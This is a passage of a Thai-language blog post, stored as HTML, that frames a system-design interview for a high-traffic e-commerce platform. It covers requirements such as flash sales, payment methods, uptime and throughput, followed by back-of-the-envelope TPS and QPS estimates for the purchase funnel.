&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;<br><strong>Domain Expert</strong>: &#xE21;&#xE35; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE04;&#xE27;&#xE23;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE4D;&#xE32;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE2A;&#xE39;&#xE07; &#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07; Flash Sale &#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE1A;&#xE32;&#xE07;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE32;&#xE08;&#xE21;&#xE35;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE08;&#xE4D;&#xE32;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;</p><p><strong>Interviewer</strong>: &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE32;&#xE23;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE02;&#xE2D;&#xE07;&#xE1E;&#xE27;&#xE01;&#xE40;&#xE02;&#xE32;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;<br><strong>Domain Expert</strong>: &#xE44;&#xE14;&#xE49;</p><p><strong>Interviewer</strong>: &#xE21;&#xE35;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE41;&#xE1A;&#xE1A;&#xE43;&#xE14;&#xE17;&#xE35;&#xE48;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1A;&#xE49;&#xE32;&#xE07; &#xE40;&#xE0A;&#xE48;&#xE19; Credit cards, PayPal, Bank cards, Line Pay &#xE2F;&#xE25;&#xE2F;<br><strong>Domain Expert</strong>: &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE4D;&#xE32;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE04;&#xE27;&#xE23;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE40;&#xE2B;&#xE25;&#xE48;&#xE32;&#xE19;&#xE35;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE43;&#xE19;&#xE0A;&#xE35;&#xE27;&#xE34;&#xE15;&#xE08;&#xE23;&#xE34;&#xE07; &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; &#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Course &#xE19;&#xE35;&#xE49; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE4D;&#xE32;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22; Line Pay &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE14;&#xE49;</p><p><strong>Interviewer</strong>: Platform &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE32;&#xE01;&#xE25;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;? &#xE40;&#xE23;&#xE32;&#xE08;&#xE4D;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE19;&#xE31;&#xE1A;&#xE2A;&#xE19;&#xE38;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32; &#xE41;&#xE25;&#xE30;&#xE2A;&#xE01;&#xE38;&#xE25;&#xE40;&#xE07;&#xE34;&#xE19;&#xE17;&#xE35;&#xE48;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE4D;&#xE32;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE17;&#xE28;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;?<br><strong>Domain Expert</strong>: &#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE4D;&#xE32;&#xE16;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35; &#xE43;&#xE0A;&#xE48; Platform &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE32;&#xE01;&#xE25; &#xE41;&#xE15;&#xE48;&#xE43;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE41;&#xE23;&#xE01; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE32;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE17;&#xE28;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE01;&#xE38;&#xE25;&#xE40;&#xE07;&#xE34;&#xE19;&#xE1A;&#xE32;&#xE17; &#xE41;&#xE15;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE04;&#xE27;&#xE23;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE02;&#xE22;&#xE32;&#xE22;&#xE44;&#xE1B;&#xE2A;&#xE39;&#xE48;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE32;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE17;&#xE28;&#xE43;&#xE19;&#xE2D;&#xE19;&#xE32;&#xE04;&#xE15;</p><p><strong>Interviewer</strong>: &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE02;&#xE32;&#xE22;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE01;&#xE35;&#xE48;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE15;&#xE48;&#xE2D;&#xE27;&#xE31;&#xE19;<br><strong>Domain Expert</strong>: &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE43;&#xE2B;&#xE49; Platform &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE02;&#xE32;&#xE22; 1 &#xE25;&#xE49;&#xE32;&#xE19;&#xE18;&#xE38;&#xE23;&#xE01;&#xE23;&#xE23;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE27;&#xE31;&#xE19;</p><p><strong>Interviewer</strong>: &#xE40;&#xE23;&#xE32;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE44;&#xE2B;&#xE21;<br><strong>Domain Expert</strong>: &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE18;&#xE38;&#xE23;&#xE01;&#xE23;&#xE23;&#xE21;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE49;&#xE2D;&#xE22; 2,000 &#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE15;&#xE48;&#xE2D;&#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; &#xE41;&#xE25;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35; Uptime &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE49;&#xE2D;&#xE22; 99.99%</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-10-at-8.26.34-AM.png" class="kg-image" alt loading="lazy" width="2000" height="736" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-10-at-8.26.34-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-10-at-8.26.34-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-10-at-8.26.34-AM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-10-at-8.26.34-AM.png 2284w" sizes="(min-width: 720px) 720px"></figure><p><strong>Interviewer</strong>: &#xE08;&#xE32;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xE1C;&#xE21;&#xE02;&#xE2D;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE02;&#xE2D;&#xE1A;&#xE40;&#xE02;&#xE15;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;<br>&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE23;&#xE49;&#xE32;&#xE19;&#xE04;&#xE49;&#xE32;&#xE1A;&#xE19;&#xE41;&#xE1E;&#xE25;&#xE15;&#xE1F;&#xE2D;&#xE23;&#xE4C;&#xE21;<br>&#xE21;&#xE35;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE41;&#xE25;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;<br>&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE15;&#xE30;&#xE01;&#xE23;&#xE49;&#xE32;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;<br>&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;<br>&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE41;&#xE25;&#xE30;&#xE15;&#xE34;&#xE14;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;<br>&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE04;&#xE07;&#xE04;&#xE25;&#xE31;&#xE07;&#xE41;&#xE1A;&#xE1A;&#xE40;&#xE23;&#xE35;&#xE22;&#xE25;&#xE44;&#xE17;&#xE21;&#xE4C;<br>&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE23;&#xE35;&#xE27;&#xE34;&#xE27;&#xE41;&#xE25;&#xE30;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE30;&#xE41;&#xE19;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;<br>&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE42;&#xE1B;&#xE23;&#xE42;&#xE21;&#xE0A;&#xE31;&#xE48;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE25;&#xE14;<br>&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE39;&#xE07;&#xE41;&#xE25;&#xE30;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE02;&#xE22;&#xE32;&#xE22;&#xE15;&#xE31;&#xE27;<br><strong>Domain Expert</strong>: &#xE2A;&#xE23;&#xE38;&#xE1B;&#xE44;&#xE14;&#xE49;&#xE14;&#xE35;&#xE21;&#xE32;&#xE01; &#xE40;&#xE23;&#xE32;&#xE21;&#xE32;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE01;&#xE31;&#xE19;&#xE40;&#xE25;&#xE22;&#xE14;&#xE35;&#xE44;&#xE2B;&#xE21;</p><h2 id="back-of-the-envelope-estimation">Back-of-the-envelope Estimation</h2><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE44;&#xE14;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE31;&#xE21;&#xE20;&#xE32;&#xE29;&#xE13;&#xE4C; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE21;&#xE34;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE38;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13;&#xE01;&#xE32;&#xE23;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE17;&#xE32;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE04;&#xE34;&#xE14; &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p>&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE4D;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE18;&#xE38;&#xE23;&#xE01;&#xE23;&#xE23;&#xE21; 1 &#xE25;&#xE49;&#xE32;&#xE19;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE15;&#xE48;&#xE2D;&#xE27;&#xE31;&#xE19; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE17;&#xE48;&#xE32;&#xE01;&#xE31;&#xE1A; 1,000,000 &#xE18;&#xE38;&#xE23;&#xE01;&#xE23;&#xE23;&#xE21; / 10^5 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; = 10 &#xE18;&#xE38;&#xE23;&#xE01;&#xE23;&#xE23;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; (TPS) &#xE0B;&#xE36;&#xE48;&#xE07; 10 TPS &#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07;&#xE01;&#xE32;&#xE23;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE02;&#xE32;&#xE22;&#xE1B;&#xE01;&#xE15;&#xE34; &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE2A;&#xE4D;&#xE32;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B; &#xE41;&#xE15;&#xE48;&#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07; Flash Sale &#xE2D;&#xE32;&#xE08;&#xE21;&#xE35;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE18;&#xE38;&#xE23;&#xE30;&#xE01;&#xE23;&#xE23;&#xE21;&#xE2A;&#xE39;&#xE07;&#xE01;&#xE27;&#xE48;&#xE32;&#xE19;&#xE35;&#xE49;&#xE2D;&#xE35;&#xE01; &#xE2B;&#xE25;&#xE32;&#xE22;&#xE40;&#xE17;&#xE48;&#xE32;</p><p>&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B; &#xE40;&#xE23;&#xE32;&#xE21;&#xE32;&#xE04;&#xE4D;&#xE32;&#xE19;&#xE27;&#xE13; QPS (Queries Per Second) &#xE04;&#xE23;&#xE48;&#xE32;&#xE27;&#xE46; &#xE02;&#xE2D;&#xE07;&#xE17;&#xE38;&#xE01;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE01;&#xE31;&#xE19; &#xE08;&#xE32;&#xE01; 4 &#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01; &#xE46; &#xE43;&#xE19;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE02;&#xE2D;&#xE07;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32; &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><ol><li>&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE14;&#xE39;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE41;&#xE23;&#xE01; &#xE14;&#xE39;&#xE15;&#xE32;&#xE21;&#xE2B;&#xE21;&#xE27;&#xE14;&#xE2B;&#xE21;&#xE39;&#xE48;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;</li><li>&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE14;&#xE39;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE23;&#xE32;&#xE04;&#xE32; &#xE23;&#xE39;&#xE1B;&#xE20;&#xE32;&#xE1E; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE17;&#xE35;&#xE48;&#xE02;&#xE32;&#xE22;&#xE44;&#xE14;&#xE49; &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE49;&#xE32;&#xE19;&#xE04;&#xE49;&#xE32; &#xE2A;&#xE48;&#xE27;&#xE19;&#xE25;&#xE14; (&#xE2A;&#xE48;&#xE27;&#xE19;&#xE25;&#xE14;&#xE08;&#xE32;&#xE01;&#xE23;&#xE49;&#xE32;&#xE19; &#xE41;&#xE25;&#xE30; Code &#xE2A;&#xE48;&#xE27;&#xE19;&#xE25;&#xE14;) &#xE04;&#xE30;&#xE41;&#xE19;&#xE19;&#xE23;&#xE35;&#xE27;&#xE34;&#xE27; &#xE41;&#xE25;&#xE30;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE25;&#xE07;&#xE15;&#xE30;&#xE01;&#xE23;&#xE49;&#xE32;</li><li>&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE31;&#xE49;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE43;&#xE19;&#xE15;&#xE30;&#xE01;&#xE23;&#xE49;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE08;&#xE4D;&#xE32;&#xE19;&#xE27;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE4D;&#xE32;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE48;&#xE32;&#xE22;&#xE08;&#xE23;&#xE34;&#xE07;</li><li>&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE04;&#xE25;&#xE34;&#xE01;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE38;&#xE48;&#xE21; &quot;&#xE08;&#xE48;&#xE32;&#xE22;&#xE40;&#xE07;&#xE34;&#xE19;&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;</li></ol><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48; 1 &#xE08;&#xE32;&#xE01;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32; 100% &#xE08;&#xE30;&#xE21;&#xE35;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13; 70% &#xE44;&#xE1B;&#xE15;&#xE48;&#xE2D;&#xE22;&#xE31;&#xE07;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19; &#xE17;&#xE35;&#xE48; 2 &#xE41;&#xE25;&#xE30;&#xE43;&#xE19;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48; 2 &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE19;&#xE44;&#xE1B; &#xE08;&#xE30;&#xE21;&#xE35;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE32;&#xE13; 10% &#xE44;&#xE1B;&#xE15;&#xE48;&#xE2D;&#xE22;&#xE31;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE16;&#xE31;&#xE14;&#xE44;&#xE1B; &#xE43;&#xE19;&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32; 90% &#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;&#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01; Flow &#xE44;&#xE1B;&#xE01;&#xE48;&#xE2D;&#xE19; &#xE08;&#xE32;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19;&#xE40;&#xE23;&#xE32;&#xE23;&#xE39;&#xE49;&#xE27;&#xE48;&#xE32; TPS &#xE02;&#xE2D;&#xE07;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE2A;&#xE38;&#xE14;&#xE17;&#xE49;&#xE32;&#xE22;&#xE04;&#xE37;&#xE2D; 10 &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13; QPS &#xE22;&#xE49;&#xE2D;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE44;&#xE14;&#xE49; &#xE42;&#xE14;&#xE22; QPS &#xE02;&#xE2D;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE04;&#xE4D;&#xE32;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D; (&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48; 3) &#xE04;&#xE37;&#xE2D; 100 &#xE41;&#xE25;&#xE30; QPS &#xE2A;&#xE4D;&#xE32;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14; (&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48; 2) &#xE04;&#xE37;&#xE2D; 1,000 &#xE41;&#xE25;&#xE30;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE14;&#xE39;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE41;&#xE23;&#xE01; &#xE15;&#xE32;&#xE21;&#xE2B;&#xE21;&#xE27;&#xE14;&#xE2B;&#xE21;&#xE39;&#xE48;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32; (&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48; 1) &#xE04;&#xE37;&#xE2D; 1,429</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-3.png" class="kg-image" alt loading="lazy" width="1220" height="536" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-3.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-3.png 1000w, https://blog.pjjop.org/content/images/2024/07/diagram-3.png 1220w" sizes="(min-width: 720px) 